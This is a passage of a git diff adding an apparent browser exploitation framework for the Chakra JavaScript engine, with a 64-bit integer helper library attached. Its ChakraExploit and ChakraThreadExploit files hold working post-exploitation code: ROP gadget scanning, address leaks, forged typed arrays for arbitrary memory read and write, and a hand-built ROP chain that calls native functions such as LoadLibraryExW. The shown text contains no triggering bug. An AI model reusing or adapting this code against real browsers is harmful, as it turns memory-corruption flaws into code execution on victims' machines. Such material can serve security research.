+ } else { + return target.add(idx); + } + } + }, + set: function(target, property, value) { + var offset = target.type.offsets[property]; + if (offset !== undefined) { + var t = target.type.types[property]; + if (t instanceof StructType) { + throw 'cannot set struct field'; + } + var p = new PointerType(t).cast(target.address.add(offset)); + p.store(value); + } else { + try { + var idx = parseInt(property); + } catch (e) { + target[property] = value; + } + if (isNaN(idx)) { + target[property] = value; + } else { + throw 'cannot set struct via array syntax'; + } + } + }, + }; + /** + * Constructs a pointer to a structure type. Internal. + * + * @param {Type} base type + * @param {Integer} address + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function StructPointer(type, address) { + this.type = type; + this.address = address; + return new Proxy(this, structPointerProxyHandler); + } + StructPointer.prototype = {}; + StructPointer.prototype.add = function (x) { + return new StructPointer(this.type, this.address.add(toIntMax(x).mul(this.type.size))); + }; + StructPointer.prototype.toString = function () { + return '&0x' + this.address.toString(16); + }; + /** + * Constructs a structure type. + * @param {Array} fields Description of structure's fields + * @param {integer} [alignment] Override default alignment + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function StructType(fields, alignment) { + Type.call(this); + alignment = alignment || DEFAULT_ALIGNMENT; + this.fields = fields; + + this.alignment = 0; + this.offsets = {}; + this.types = {}; + var offset = 0; + for (var i = 0; i < fields.length; i++) { + var name = fields[i][0], type = fields[i][1]; + if (this.offsets[name] !== undefined) { + throw 'duplicate field name'; + } + var a = Math.min(alignment, type.alignment); + this.alignment = Math.max(this.alignment, a); + if (offset % a) { + offset += a - (offset % a); + } + this.offsets[name] = offset; + this.types[name] = type; + offset += type.size; + } + if (offset == 0) { + throw 'empty struct'; + } + if (offset % this.alignment) { + offset += this.alignment - (offset % this.alignment); + } + this.size = offset; + } + StructType.prototype = Object.create(Type.prototype); + StructType.prototype.constructor = StructType; + + /** + * Constructs an array type. + * @param {Type} base Base type + * @param {integer} length Number of array elements + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function ArrayType(base, length) { + Type.call(this); + this.baseType = base; + this.length = length; + this.alignment = this.baseType.alignment; + this.size = this.length * this.baseType.size; + } + ArrayType.prototype = Object.create(Type.prototype); + ArrayType.prototype.constructor = ArrayType; + ArrayType.prototype.load = function (address) { + var result = new Array(this.length); + var size = this.baseType.size; + for (var i = 0; i < this.length; i++) { + result[i] = this.baseType.load(address); + address = address.add(size); + } + return result; + } + ArrayType.prototype.store = function (address, x) { + var size = this.baseType.size; + for (var i = 0; i < x.length; i++) { + this.baseType.store(address, x[i]); + address = address.add(size); + } + } + + /** + * Constructs an integer type. Internal. Use predefined Int and Uint type objects. + * @param {integer} bits Bit size + * @param {boolean} signed Whether signed or not + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function IntType(bits, signed) { + Type.call(this); + this.bits = bits; + this.signed = signed; + this.alignment = bits / 8; + this.size = bits / 8; + } + IntType.prototype = Object.create(Type.prototype); + IntType.prototype.constructor = IntType; + IntType.prototype.cast = function (x) { + x = toIntMax(x); + return new Integer(x.low, x.high, !this.signed, this.bits); + } + IntType.prototype.load = function (address) { + return this.cast(exploit.read(address, this.bits)); + } + IntType.prototype.store = function (address, x) { + return exploit.write(address, toIntMax(x), this.bits); + } + + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int8 = new IntType(8, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int16 = new IntType(16, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int32 = new IntType(32, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Int64 = new IntType(64, true); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint8 = new IntType(8, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint16 = new IntType(16, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint32 = new IntType(32, false); + /** + * @instance + * @memberof BaseExploit + * @member {IntType} + */ + var Uint64 = new IntType(64, false); + + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int8Ptr = new PointerType(Int8); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int16Ptr = new PointerType(Int16); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int32Ptr = new PointerType(Int32); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Int64Ptr = new PointerType(Int64); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint8Ptr = new PointerType(Uint8); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint16Ptr = new PointerType(Uint16); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint32Ptr = new PointerType(Uint32); + /** + * @instance + * @memberof BaseExploit + * @member {PointerType} + */ + var Uint64Ptr = new PointerType(Uint64); + + function toIntMax(x) { + if ('object' !== typeof x) { + return Integer.fromValue(x); + } else if (x instanceof Pointer || x instanceof StructPointer) { + return new Integer(x.address.low, x.address.high); + } else if (x instanceof Integer) { + return new Integer(x.low, x.high); + } else { + throw 'unhandled type'; + } + } + + Object.assign(this, { + importFunction, + Pointer, + CString, + WString, + ArrayType, + FunctionType, + PointerType, + StructType, + Integer, + Int8, + Int16, + Int32, + Int64, + Uint8, + Uint16, + Uint32, + Uint64, + Int8Ptr, + Int16Ptr, + Int32Ptr, + Int64Ptr, + Uint8Ptr, + Uint16Ptr, + Uint32Ptr, + Uint64Ptr, + }); +} +BaseExploit.prototype = {}; +/** + * Find the beginning of a PE module given any address in the module. + * + * @param {Integer} address Any address in the PE module + * @returns {Integer} + */ +BaseExploit.prototype.findModuleBase = function (address) { + address.low &= 0xFFFF0000; // align to 64kb-boundary + while (true) { + var p = this.Uint8Ptr.cast(address); + if (p[0] == 0x4D && p[1] == 0x5A) { + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + if (peOffset < 0x1000 && p[peOffset] == 0x50 && p[peOffset.add(1)] == 0x45) { + return address; + } + } + address = address.sub(0x10000); + } +} +/** + * Find a set of bytes in a PE module. + * + * @param {Integer|Pointer} module Base address of PE module + * @param {Array} bytes Bytes to locate + * @returns {Integer} + */ +BaseExploit.prototype.findGadget = function (module, bytes) { + var p = this.Uint8Ptr.cast(module); + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + var imageSize = this.Uint32Ptr.cast(module.add(peOffset))[20]; + var bytesLength = bytes.length; + var firstByte = bytes[0]; + for (var i = 0x1000; i < imageSize; i++) { + if ((i % 4) == 0) { + // Optimization: check for first byte within current 4 bytes + var x = this.Uint32Ptr.cast(p.add(i))[0].low; + if (((x >>> 0) & 0xFF) != firstByte && + ((x >>> 8) & 0xFF) != firstByte && + ((x >>> 16) & 0xFF) != firstByte && + ((x >>> 24) & 0xFF) != firstByte) { + i += 3; + continue; + } + } + for (var j = 0; j < bytesLength; j++) { + if (bytes[j] != p[i + j]) { + break; + } + } + if (j == bytesLength) { + return p.add(i); + } + i += j; + } + return null; +} +/** + * Find multiple sets of bytes in a PE module. + * + * @param {Integer|Pointer} module Base address of PE module + * @param {Array} query Array of gadgets to find + * @returns {object} + */ +BaseExploit.prototype.findGadgets = function (module, query) { + var p = this.Uint8Ptr.cast(module); + var peOffset = this.Uint32Ptr.cast(p.add(0x3C))[0]; + var codeSize = this.Uint32Ptr.cast(module.add(peOffset))[7]; + var array = new Int32Array(codeSize / 4); + var address = p.address.add(0x1000); + for (var i = 0x1000; i < codeSize; i += 8) { + var x = this.read(address, 64); + array[i / 4] = x.low; + array[i / 4 + 1] = x.high; + address.low += 8; + } + + var byteArray = new Uint8Array(array.buffer); + var gadgets = {}; + query.forEach((gadget) => { + var name = gadget[0], bytes = gadget[1]; + var idx = 0; + while (true) { + idx = byteArray.indexOf(bytes[0], idx); + if (idx < 0) { + throw 'missing gadget ' + name; + } + for (var j = 1; j < bytes.length; j++) { + if (byteArray[idx + j] != bytes[j]) { + break; + } + } + if (j == bytes.length) { + break; + } + idx++; + } + gadgets[name] = p.add(idx); + }); + return gadgets; +} + +export default BaseExploit; diff --git a/src/chakraexploit.js b/src/chakraexploit.js new file mode 100644 index 0000000..dcd6e78 --- /dev/null +++ b/src/chakraexploit.js @@ -0,0 +1,324 @@ +import BaseExploit from "baseexploit"; +import Integer from "integer"; + +/** + * Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available. + * + * @augments BaseExploit + * @class + * @constructor + */ +function ChakraExploit() { + var exploit = this; + BaseExploit.call(this, 64); + + /** + * Constructs a thread using a Web Worker. The worker script must create a {@link ChakraThreadExploit} object. + * + * @memberof ChakraExploit + * @instance + * @class + * @constructor + */ + function Thread(url) { + var worker = new Worker(url); + worker.onmessage = (e) => { + if (e.data == 'CHAKRA_EXPLOIT') { + var stackLimit = exploit.globalListFirst.load()[exploit.threadContextStackLimit]; + // Default stack size of web worker + // 1 MB + var stackSize = 1 * 1024 * 1024; + var stackTop = stackLimit.sub(0xc000).add(stackSize); + var stk = exploit.Uint64Ptr.cast(stackTop).add(-1); + while (!new Integer(0x41424344, 0x10000).eq(stk.load())) { + stk = stk.add(-1); + if (stk.address <= stackTop.sub(0x10000)) { + throw 'unable to find canary'; + } + } + var worker = exploit.Uint64Ptr.cast(stk[1]); + var manager = exploit.Uint64Ptr.cast(stk[2]); + manager[7] = worker; + } else if (this.onmessage) { + return this.onmessage(e); + } + } + /** + * @memberof ChakraExploit#Thread + * @instance + * @function onmessage + */ + this.onmessage = null; + /** + * postMessage to web worker + * @function + */ + this.postMessage = worker.postMessage.bind(worker); + } + this.Thread = Thread; +} +ChakraExploit.prototype = Object.create(BaseExploit.prototype); +ChakraExploit.prototype.constructor = ChakraExploit; +/** + * Initializes Chakra helpers using memory read and write. + * + * @param {Integer|Pointer} vtable Any address in the chakra DLL + */ +ChakraExploit.prototype.initChakra = function (vtable) { + this.chakraBase = this.findModuleBase(vtable); + + var gadgets = [ + ['callLoadLibraryExW', [0x48, 0x8B, 0xC8, 0x33, 0xD2, 0x41, 0xB8, 0x00, 0x08, 0x00, 0x00, 0xFF, 0x15]], + ['jmpGetProcAddress', [0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x49, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xC4, 0x28, 0x48, 0xFF, 0x25]], + ['nopReturn', [0xC3]], + ['popRaxReturn', [0x58, 0xC3]], + ['popRcxReturn', [0x59, 0xC3]], + ['popRdxReturn', [0x5A, 0xC3]], + ['popRspReturn', [0x5C, 0xC3]], + ['popRbpReturn', [0x5D, 0xC3]], + ['popRsiReturn', [0x5E, 0xC3]], + ['addRsp58Return', [0x48, 0x83, 0xC4, 0x58, 0xC3]], + ['storeRaxAtRdxReturn', [0x48, 0x89, 0x02, 0xC3]], + ['entrySlice', [0x8B, 0xF8, 0x41, 0x83, 0xFC, 0x02]], + ['amd64CallFunction', [0x4C, 0x8B, 0x4E, 0x08, 0x4C, 0x8B, 0x06, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, 0x8B, 0xE5, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3]], + ['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, 0x61]], + ]; + this.gadgets = this.findGadgets(this.chakraBase, gadgets); + // initialize ThreadContext information + this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8; + this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8; + this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0])); + var p = this.globalListFirst[0]; + for (var i = 0;; i++) { + if ((p[i] & 0xffff) == 0xc000) { + break; + } + } + this.threadContextStackLimit = i; + // initialize LoadLibraryExW and GetProcAddress + var p = this.gadgets.callLoadLibraryExW.add(17).add(this.Int32Ptr.cast(this.gadgets.callLoadLibraryExW.add(13)).load()); + this.LoadLibraryExW = new this.PointerType(this.Uint8Ptr).cast(p).load(); + var p = this.gadgets.jmpGetProcAddress.add(23).add(this.Int32Ptr.cast(this.gadgets.jmpGetProcAddress.add(19)).load()); + this.GetProcAddress = new this.PointerType(this.Uint8Ptr).cast(p).load(); + // initialize stackTop + this.findStackTop(); + // initialize support for fast addressOf + this.locateArray = [{}]; + this.locateArrayPtr = new this.PointerType(this.Uint64Ptr).cast(this.addressOfSlow(this.locateArray))[5].add(3); + if (!this.addressOfSlow(this.locateArray[0]).address.eq(this.locateArrayPtr[0])) { + throw 'init of addressOf failed!' + } +} +/** + * Returns the address of a Javascript object. + * + * @param {*} obj Any Javascript object + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOf = function (obj) { + this.locateArray[0] = obj; + return this.locateArrayPtr[0]; +} +/** + * Returns the address of a string. Points to the string's bytes. + * + * @param {string} s A Javascript string + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOfString = function (s) { + return this.Uint64Ptr.cast(this.addressOf(s).add(0x10)).load(); +} +ChakraExploit.prototype.findStackTop = function () { + if (this.stackTop === undefined) { + // Default stack size of browser tab + // 10 MB + // Default stack size of web worker + // 1 MB + if ('undefined' !== typeof WorkerGlobalScope) { + var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; + var stackSize = 1 * 1024 * 1024; + } else { + var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit]; + var stackSize = 10 * 1024 * 1024; + } + var stackTop = stackLimit.sub(0xc000).add(stackSize); + this.stackTop = stackTop; + } +} +/** + * Returns the address of a Javascript object. Internal. + * + * @param {*} obj Any Javascript object + * @returns {Pointer} + */ +ChakraExploit.prototype.addressOfSlow = function (obj) { + var address; + eval('String.prototype.slice').call('', { + valueOf: () => { + var gadgets = this.gadgets; + var stk = this.Uint64Ptr.cast(this.stackTop).add(-1); + while (!this.Uint64.cast(gadgets.entrySlice).eq(stk.load())) { + stk = stk.add(-1); + if (stk.address <= this.stackTop.sub(0x10000)) { + throw 'unable to find entrySlice'; + } + } + while (!this.Uint64.cast(gadgets.amd64CallFunction).add(13).eq(stk.load())) { + stk = stk.add(1); + if (stk.address >= this.stackTop) { + throw 'unable to find amd64CallFunction'; + } + } + while (!stk[0].eq(new Integer(0x42424242, 0x10000)) || !stk[2].eq(new Integer(0x41414141, 0x10000))) { + stk = stk.add(1); + if (stk.address >= this.stackTop) { + throw 'unable to find canaries'; + } + } + address = this.Uint8Ptr.cast(stk[1]); + } + }, 0, 0, 0, obj, 0x42424242, obj, 0x41414141); + return address; +} +ChakraExploit.prototype.customInt32Array = function (address) { + var i32 = new Int32Array(1); + var p = this.Uint64Ptr.cast(this.addressOf(i32)); + p[4] = 0x7FFFFFFF; + p[7] = address; + return i32; +} +/** + * Call a function pointer with the given arguments. Used internally by FunctionPointer. + * + * @param {Integer} address + * @param {...Integer} args + * @returns {Integer} + */ +ChakraExploit.prototype.call = function (address, ...args) { + if (args.length > 10) { + throw 'too many arguments'; + } + var returnValAddr; + eval('String.prototype.slice').call('', { + valueOf: () => { + var gadgets = this.gadgets; + var amd64CallFunction = this.Uint64.cast(gadgets.amd64CallFunction).add(13); + var entrySlice = this.Uint64.cast(gadgets.entrySlice); + var stackBottom = this.stackTop.sub(0x10000); + var stk = this.customInt32Array(stackBottom); + for (var i = 0x10000 / 8 - 8; i >= 0; i -= 1) { + if (entrySlice.low == stk[i*2] && entrySlice.high == stk[i*2+1]) { + break; + } + } + if (i == 0) { + throw 'unable to find entrySlice'; + } + while (amd64CallFunction.low != stk[i*2] || amd64CallFunction.high != stk[i*2+1]) { + i++; + if (i == 0x10000 / 8) { + throw 'unable to find amd64CallFunction'; + } + } + var stk = this.Uint64Ptr.cast(stackBottom.add(i * 8)); + var savedRbpAddr = stk.add(-2); + stk = stk.add(-0x20000 / 8); + var i32 = this.customInt32Array(stk); + // probe stack + for (var i = 0x20; i >= 0; i--) { + let x = i32[i * 0x1000 / 4]; + } + // helper for writing Uint64 to Int32Array + function write64(i32, i, val) { + if (val.address) { + val = val.address; + } else { + val = Integer.fromValue(val); + } + i32[i * 2 + 0] = val.low; + i32[i * 2 + 1] = val.high; + } + // ROP chain + // skip saved rbp, rdi, rsi, rbx + i = 4; + // pop r8 and r9 using code in amd64_CallFunction + write64(i32, i, gadgets.popRsiReturn); + i++; + write64(i32, i, stk); + i++; + if (args[2] !== undefined) + write64(i32, 0, args[2]); // r8 + if (args[3] !== undefined) + write64(i32, 1, args[3]); // r9 + write64(i32, i, gadgets.popRaxReturn); + i++; + write64(i32, i, gadgets.nopReturn); + i++; + write64(i32, i, gadgets.popRbpReturn); + i++; + write64(i32, i, stk.add(i - 2)); + i++; + write64(i32, i, gadgets.amd64CallFunction); + i++; + write64(i32, i, gadgets.popRdxReturn); + i++; + if (args[1] !== undefined) + write64(i32, i, args[1]); + i++; + write64(i32, i, gadgets.popRcxReturn); + i++; + if (args[0] !== undefined) + write64(i32, i, args[0]); + i++; + write64(i32, i, address); + i++; + write64(i32, i, gadgets.addRsp58Return); + i++; + i += 4; // skip 0x20 shadow space + if (args[4] !== undefined) + write64(i32, i, args[4]); + i++; + if (args[5] !== undefined) + write64(i32, i, args[5]); + i++; + if (args[6] !== undefined) + write64(i32, i, args[6]); + i++; + if (args[7] !== undefined) + write64(i32, i, args[7]); + i++; + if (args[8] !== undefined) + write64(i32, i, args[8]); + i++; + if (args[9] !== undefined) + write64(i32, i, args[9]); + i++; + if (args[10] !== undefined) + write64(i32, i, args[10]); + i++; + write64(i32, i, gadgets.popRdxReturn); + i++; + write64(i32, i, stk); + i++; + write64(i32, i, gadgets.storeRaxAtRdxReturn); + i++; + write64(i32, i, gadgets.popRaxReturn); + i++; + write64(i32, i, new Integer(0, 0x40000)); + i++; + write64(i32, i, gadgets.popRbpReturn); + i++; + write64(i32, i, savedRbpAddr.load()); + i++; + write64(i32, i, gadgets.popRspReturn); + i++; + write64(i32, i, savedRbpAddr.add(2)); + i++; + savedRbpAddr[0] = stk; + returnValAddr = stk; + } + }); + return returnValAddr[0]; +} + +export default ChakraExploit; diff --git a/src/chakrathreadexploit.js b/src/chakrathreadexploit.js new file mode 100644 index 0000000..9dc5895 --- /dev/null +++ b/src/chakrathreadexploit.js @@ -0,0 +1,72 @@ +import ChakraExploit from "chakraexploit"; +import Integer from "integer"; + +/** + * Constructs an exploit class for a worker script. Used in concert with {@link ChakraExploit#Thread} to support multithreading. + * + * @augments ChakraExploit + * @class + * @constructor + */ +function ChakraThreadExploit() { + ChakraExploit.call(this); + + var dvManager = new DataView(new ArrayBuffer(0x1000)); + var dvWorker = new DataView(new ArrayBuffer(0x1000)); + this.dvWorker = dvWorker; + this.dvManager = dvManager; + + eval('String.prototype.slice').call('', { + valueOf: function () { + postMessage('CHAKRA_EXPLOIT'); + while (dvManager.getInt32(0) == 0) {}; + } + }, 0, 0, 0, 0, 0x41424344, dvWorker, dvManager, 0x41414141); + + var vtable = new Integer(dvManager.getInt32(0, true), dvManager.getInt32(4, true)); + this.vtable = vtable; + this.chakraBase = this.findModuleBase(vtable); + this.initChakra(vtable); +} +ChakraThreadExploit.prototype = Object.create(ChakraExploit.prototype); +ChakraThreadExploit.prototype.constructor = ChakraThreadExploit; +/** + * Arbitrary memory read using corrupted DataView. + * + * @param {Integer} address Memory address + * @param {integer} size Bit size + * @returns {Integer} + */ +ChakraThreadExploit.prototype.read = function (address, size) { + this.dvManager.setInt32(7 * 8, address.low, true); + this.dvManager.setInt32(7 * 8 + 4, address.high, true); + + switch (size) { + case 8: return new Integer(this.dvWorker.getInt8(0, true), 0, true); + case 16: return new Integer(this.dvWorker.getInt16(0, true), 0, true); + case 32: return new Integer(this.dvWorker.getInt32(0, true), 0, true); + case 64: return new Integer(this.dvWorker.getInt32(0, true), this.dvWorker.getInt32(4, true), true); + } +} +/** + * Arbitrary memory write using corrupted DataView. + * + * @param {Integer} address Memory address + * @param {Integer} value Value to write + * @param {integer} size Bit size + */ +ChakraThreadExploit.prototype.write = function (address, value, size) { + this.dvManager.setInt32(7 * 8, address.low, true); + this.dvManager.setInt32(7 * 8 + 4, address.high, true); + + switch (size) { + case 8: return this.dvWorker.setInt8(0, value.low|0, true); + case 16: return this.dvWorker.setInt16(0, value.low|0, true); + case 32: return this.dvWorker.setInt32(0, value.low|0, true); + case 64: + this.dvWorker.setInt32(0, value.low|0, true); + this.dvWorker.setInt32(4, value.high|0, true); + } +} + +export default ChakraThreadExploit; diff --git a/src/index.js b/src/index.js new file mode 100644 index 0000000..96f0e53 --- /dev/null +++ b/src/index.js @@ -0,0 +1,11 @@ +import BaseExploit from "baseexploit"; +import ChakraExploit from "chakraexploit"; +import ChakraThreadExploit from "chakrathreadexploit"; +import Integer from "integer"; + +export { + BaseExploit, + ChakraExploit, + ChakraThreadExploit, + Integer +}; diff --git a/src/integer.js b/src/integer.js new file mode 100644 index 0000000..4239415 --- /dev/null +++ b/src/integer.js @@ -0,0 +1,1209 @@ +/** + * @license long.js (c) 2013 Daniel Wirtz + * Released under the Apache License, Version 2.0 + * see: https://github.com/dcodeIO/long.js for details + */ +var Integer = (function() { + /** + * Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers. + * See the from* functions below for more convenient ways of constructing Integers. + * @exports Integer + * @class A Integer class for representing a 64 bit two's-complement integer value. + * @param {number} low The low (signed) 32 bits of the long + * @param {number} high The high (signed) 32 bits of the long + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @constructor + */ + function Integer(low, high, unsigned, size) { + + this.size = size || 64; + + if (size == 8) { + low &= 0xff; + if (unsigned || low < 0x80) { + high = 0; + } else { + low |= 0xffffff00; + high = 0xffffffff; + } + } else if (size == 16) { + low &= 0xffff; + if (unsigned || low < 0x8000) { + high = 0; + } else { + low |= 0xffff0000; + high = 0xffffffff; + } + } else if (size == 32) { + if (unsigned || (low|0) >= 0) { + high = 0; + } else { + high = 0xffffffff; + } + } + + /** + * The low 32 bits as a signed value. + * @type {number} + */ + this.low = low | 0; + + /** + * The high 32 bits as a signed value. + * @type {number} + */ + this.high = high | 0; + + /** + * Whether unsigned or not. + * @type {boolean} + */ + this.unsigned = !!unsigned; + } + + // The internal representation of a long is the two given signed, 32-bit values. + // We use 32-bit pieces because these are the size of integers on which + // Javascript performs bit-operations. For operations like addition and + // multiplication, we split each number into 16 bit pieces, which can easily be + // multiplied within Javascript's floating-point representation without overflow + // or change in sign. + // + // In the algorithms below, we frequently reduce the negative case to the + // positive case by negating the input(s) and then post-processing the result. + // Note that we must ALWAYS check specially whether those values are MIN_VALUE + // (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as + // a positive number, it overflows back into a negative). Not handling this + // case would often result in infinite recursion. + // + // Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from* + // methods on which they depend. + + /** + * An indicator used to reliably determine if an object is a Integer or not. + * @type {boolean} + * @const + * @private + */ + Integer.prototype.__isInteger__; + + Object.defineProperty(Integer.prototype, "__isInteger__", { + value: true, + enumerable: false, + configurable: false + }); + + /** + * @function + * @param {*} obj Object + * @returns {boolean} + * @inner + */ + function isInteger(obj) { + return (obj && obj["__isInteger__"]) === true; + } + + /** + * Tests if the specified object is a Integer. + * @function + * @param {*} obj Object + * @returns {boolean} + */ + Integer.isInteger = isInteger; + + /** + * A cache of the Integer representations of small integer values. + * @type {!Object} + * @inner + */ + var INT_CACHE = {}; + + /** + * A cache of the Integer representations of small unsigned integer values. + * @type {!Object} + * @inner + */ + var UINT_CACHE = {}; + + /** + * @param {number} value + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromInt(value, unsigned) { + var obj, cachedObj, cache; + if (unsigned) { + value >>>= 0; + if (cache = (0 <= value && value < 256)) { + cachedObj = UINT_CACHE[value]; + if (cachedObj) + return cachedObj; + } + obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true); + if (cache) + UINT_CACHE[value] = obj; + return obj; + } else { + value |= 0; + if (cache = (-128 <= value && value < 128)) { + cachedObj = INT_CACHE[value]; + if (cachedObj) + return cachedObj; + } + obj = fromBits(value, value < 0 ? -1 : 0, false); + if (cache) + INT_CACHE[value] = obj; + return obj; + } + } + + /** + * Returns a Integer representing the given 32 bit integer value. + * @function + * @param {number} value The 32 bit integer in question + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromInt = fromInt; + + /** + * @param {number} value + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromNumber(value, unsigned) { + if (isNaN(value) || !isFinite(value)) + return unsigned ? UZERO : ZERO; + if (unsigned) { + if (value < 0) + return UZERO; + if (value >= TWO_PWR_64_DBL) + return MAX_UNSIGNED_VALUE; + } else { + if (value <= -TWO_PWR_63_DBL) + return MIN_VALUE; + if (value + 1 >= TWO_PWR_63_DBL) + return MAX_VALUE; + } + if (value < 0) + return fromNumber(-value, unsigned).neg(); + return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned); + } + + /** + * Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned. + * @function + * @param {number} value The number in question + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromNumber = fromNumber; + + /** + * @param {number} lowBits + * @param {number} highBits + * @param {boolean=} unsigned + * @returns {!Integer} + * @inner + */ + function fromBits(lowBits, highBits, unsigned) { + return new Integer(lowBits, highBits, unsigned); + } + + /** + * Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is + * assumed to use 32 bits. + * @function + * @param {number} lowBits The low 32 bits + * @param {number} highBits The high 32 bits + * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromBits = fromBits; + + /** + * @function + * @param {number} base + * @param {number} exponent + * @returns {number} + * @inner + */ + var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4) + + /** + * @param {string} str + * @param {(boolean|number)=} unsigned + * @param {number=} radix + * @returns {!Integer} + * @inner + */ + function fromString(str, unsigned, radix) { + if (str.length === 0) + throw Error('empty string'); + if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity") + return ZERO; + if (typeof unsigned === 'number') { + // For goog.math.long compatibility + radix = unsigned, + unsigned = false; + } else { + unsigned = !! unsigned; + } + radix = radix || 10; + if (radix < 2 || 36 < radix) + throw RangeError('radix'); + + var p; + if ((p = str.indexOf('-')) > 0) + throw Error('interior hyphen'); + else if (p === 0) { + return fromString(str.substring(1), unsigned, radix).neg(); + } + + // Do several (8) digits each time through the loop, so as to + // minimize the calls to the very expensive emulated div. + var radixToPower = fromNumber(pow_dbl(radix, 8)); + + var result = ZERO; + for (var i = 0; i < str.length; i += 8) { + var size = Math.min(8, str.length - i), + value = parseInt(str.substring(i, i + size), radix); + if (size < 8) { + var power = fromNumber(pow_dbl(radix, size)); + result = result.mul(power).add(fromNumber(value)); + } else { + result = result.mul(radixToPower); + result = result.add(fromNumber(value)); + } + } + result.unsigned = unsigned; + return result; + } + + /** + * Returns a Integer representation of the given string, written using the specified radix. + * @function + * @param {string} str The textual representation of the Integer + * @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed + * @param {number=} radix The radix in which the text is written (2-36), defaults to 10 + * @returns {!Integer} The corresponding Integer value + */ + Integer.fromString = fromString; + + /** + * @function + * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val + * @returns {!Integer} + * @inner + */ + function fromValue(val) { + if (val /* is compatible */ instanceof Integer) + return val; + if (typeof val === 'number') + return fromNumber(val); + if (typeof val === 'string') + return fromString(val); + // Throws for non-objects, converts non-instanceof Integer: + return fromBits(val.low, val.high, val.unsigned); + } + + /** + * Converts the specified value to a Integer. + * @function + * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value + * @returns {!Integer} + */ + Integer.fromValue = fromValue; + + // NOTE: the compiler should inline these constant values below and then remove these variables, so there should be + // no runtime penalty for these. + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_16_DBL = 1 << 16; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_24_DBL = 1 << 24; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL; + + /** + * @type {number} + * @const + * @inner + */ + var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2; + + /** + * @type {!Integer} + * @const + * @inner + */ + var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL); + + /** + * @type {!Integer} + * @inner + */ + var ZERO = fromInt(0); + + /** + * Signed zero. + * @type {!Integer} + */ + Integer.ZERO = ZERO; + + /** + * @type {!Integer} + * @inner + */ + var UZERO = fromInt(0, true); + + /** + * Unsigned zero. + * @type {!Integer} + */ + Integer.UZERO = UZERO; + + /** + * @type {!Integer} + * @inner + */ + var ONE = fromInt(1); + + /** + * Signed one. + * @type {!Integer} + */ + Integer.ONE = ONE; + + /** + * @type {!Integer} + * @inner + */ + var UONE = fromInt(1, true); + + /** + * Unsigned one. + * @type {!Integer} + */ + Integer.UONE = UONE; + + /** + * @type {!Integer} + * @inner + */ + var NEG_ONE = fromInt(-1); + + /** + * Signed negative one. + * @type {!Integer} + */ + Integer.NEG_ONE = NEG_ONE; + + /** + * @type 